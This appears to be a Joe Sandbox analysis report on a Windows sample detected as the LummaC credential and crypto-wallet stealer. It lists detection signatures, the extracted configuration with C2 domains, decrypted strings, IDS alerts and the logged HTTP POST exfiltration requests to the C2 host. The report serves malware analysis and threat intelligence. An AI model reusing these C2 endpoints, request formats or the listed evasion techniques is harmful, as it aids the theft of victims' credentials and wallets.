Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1544216
MD5:	1e2713791f4b57ee161ef33685c0f1ed
SHA1:	4c208910306a8ffed3a5e12635d5b062b5c0ccdf
SHA256:	0077934422c43d40c3d013a087dc47921a80b0afa6ff27df16788b0f9ba5f42c
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Detected potential crypto function

Entry point lies outside standard sections

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for user specific document files

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 3056 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 1E2713791F4B57EE161EF33685C0F1ED)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["founpiuer.store", "fadehairucw.store", "navygenerayk.store", "thumbystriw.store", "presticitpo.store", "crisiwarny.store", "necklacedmny.store", "scriptyprefej.store"], "Build id": "4SD0y4--legendaryy"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.2186505484.0000000001396000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 3056	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 3056	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 3056	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T04:01:10.710144+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49704	188.114.97.3	443	TCP
2024-10-29T04:01:11.983923+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49705	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T04:01:10.710144+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49704	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T04:01:11.983923+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49705	188.114.97.3	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T04:01:13.414944+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49706	188.114.97.3	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Found malware configuration

Source: file.exe.3056.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["founpiuer.store", "fadehairucw.store", "navygenerayk.store", "thumbystriw.store", "presticitpo.store", "crisiwarny.store", "necklacedmny.store", "scriptyprefej.store"], "Build id": "4SD0y4--legendaryy"}

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 44%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.2234851381.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: scriptyprefej.store
Source: 00000000.00000002.2234851381.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: navygenerayk.store
Source: 00000000.00000002.2234851381.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: founpiuer.store
Source: 00000000.00000002.2234851381.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: necklacedmny.store
Source: 00000000.00000002.2234851381.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: thumbystriw.store
Source: 00000000.00000002.2234851381.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: fadehairucw.store
Source: 00000000.00000002.2234851381.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: crisiwarny.store
Source: 00000000.00000002.2234851381.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: presticitpo.store
Source: 00000000.00000002.2234851381.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: presticitpo.store
Source: 00000000.00000002.2234851381.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.2234851381.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.2234851381.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.2234851381.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.2234851381.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.2234851381.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: 4SD0y4--legendaryy

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49710 version: TLS 1.2

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49705 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49705 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49704 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49704 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49706 -> 188.114.97.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: founpiuer.store
Source: Malware configuration extractor	URLs: fadehairucw.store
Source: Malware configuration extractor	URLs: navygenerayk.store
Source: Malware configuration extractor	URLs: thumbystriw.store
Source: Malware configuration extractor	URLs: presticitpo.store
Source: Malware configuration extractor	URLs: crisiwarny.store
Source: Malware configuration extractor	URLs: necklacedmny.store
Source: Malware configuration extractor	URLs: scriptyprefej.store

Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 52Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12840Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15082Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20572Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1249Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 569027Host: necklacedmny.store

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: presticitpo.store
Source: global traffic	DNS traffic detected: DNS query: crisiwarny.store
Source: global traffic	DNS traffic detected: DNS query: fadehairucw.store
Source: global traffic	DNS traffic detected: DNS query: thumbystriw.store
Source: global traffic	DNS traffic detected: DNS query: necklacedmny.store

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: necklacedmny.store

Source: file.exe, 00000000.00000003.2167537186.0000000005BAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.2167537186.0000000005BAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000000.00000003.2229531090.000000000138D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2127178757.0000000001359000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: file.exe, 00000000.00000003.2167537186.0000000005BAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.2167537186.0000000005BAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.2167537186.0000000005BAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.2167537186.0000000005BAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.2167537186.0000000005BAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: file.exe, 00000000.00000003.2167537186.0000000005BAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.2167537186.0000000005BAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: file.exe, 00000000.00000003.2167537186.0000000005BAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.2167537186.0000000005BAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000000.00000003.2141958855.0000000005BD6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142104444.0000000005BD6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2141879804.0000000005BD9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000003.2211062295.0000000005C34000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2204453627.0000000005C34000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2182450142.0000000005C3B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: file.exe, 00000000.00000003.2211062295.0000000005C34000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2204453627.0000000005C34000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2182450142.0000000005C3B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: file.exe, 00000000.00000003.2141958855.0000000005BD6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142104444.0000000005BD6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2141879804.0000000005BD9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2141958855.0000000005BD6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142104444.0000000005BD6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2141879804.0000000005BD9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2141958855.0000000005BD6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142104444.0000000005BD6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2141879804.0000000005BD9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000003.2211062295.0000000005C34000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2204453627.0000000005C34000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2182450142.0000000005C3B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000003.2182450142.0000000005C3B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: file.exe, 00000000.00000003.2141958855.0000000005BD6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142104444.0000000005BD6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2141879804.0000000005BD9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2141958855.0000000005BD6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142104444.0000000005BD6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2141879804.0000000005BD9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2141958855.0000000005BD6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142104444.0000000005BD6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2141879804.0000000005BD9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: file.exe, 00000000.00000003.2182450142.0000000005C3B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: file.exe, 00000000.00000003.2182450142.0000000005C3F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.2235855506.0000000001320000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2229457667.00000000013B3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2235855506.000000000134B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/
Source: file.exe, 00000000.00000002.2235855506.000000000134B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/7
Source: file.exe, 00000000.00000002.2235855506.000000000134B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api
Source: file.exe, 00000000.00000003.2229531090.000000000138D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2229582568.0000000001393000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2235855506.0000000001394000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api#Q
Source: file.exe, 00000000.00000003.2199902967.00000000013B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiZ
Source: file.exe, 00000000.00000002.2235855506.000000000134B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apibc
Source: file.exe, 00000000.00000002.2235855506.000000000134B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apis
Source: file.exe, file.exe, 00000000.00000003.2186408136.00000000013AF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2186898725.00000000013B4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2182709196.00000000013AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2186468310.00000000013B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store:443/api
Source: file.exe, 00000000.00000003.2168426300.0000000005ECA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000000.00000003.2168426300.0000000005ECA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: file.exe, 00000000.00000003.2211062295.0000000005C34000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2204453627.0000000005C34000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.2237709208.0000000005C3A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2182450142.0000000005C3B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: file.exe, 00000000.00000003.2211062295.0000000005C34000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2204453627.0000000005C34000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2182450142.0000000005C3B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: file.exe, 00000000.00000003.2141958855.0000000005BD6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142104444.0000000005BD6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2141879804.0000000005BD9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.2141958855.0000000005BD6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142104444.0000000005BD6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2141879804.0000000005BD9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: file.exe, 00000000.00000003.2168426300.0000000005ECA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: file.exe, 00000000.00000003.2168426300.0000000005ECA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000003.2168426300.0000000005ECA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000003.2168426300.0000000005ECA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2168426300.0000000005ECA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000003.2168426300.0000000005ECA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49710 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013AEB04	0_3_013AEB04
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013AEB04	0_3_013AEB04
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013AF000	0_3_013AF000
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013AEB04	0_3_013AEB04
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013AF000	0_3_013AF000
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05C4B80D	0_3_05C4B80D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05C4B80D	0_3_05C4B80D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05C4B4EC	0_3_05C4B4EC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05C4B4EC	0_3_05C4B4EC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05C4B9F0	0_3_05C4B9F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05C4B9F0	0_3_05C4B9F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013AEB04	0_3_013AEB04
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013AF000	0_3_013AF000
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013AEB04	0_3_013AEB04
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013AF000	0_3_013AF000
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013AEB04	0_3_013AEB04
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013AF000	0_3_013AF000
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013AEB04	0_3_013AEB04
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013AF000	0_3_013AF000
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05C4B80D	0_3_05C4B80D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05C4B80D	0_3_05C4B80D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05C4B4EC	0_3_05C4B4EC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05C4B4EC	0_3_05C4B4EC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05C4B9F0	0_3_05C4B9F0
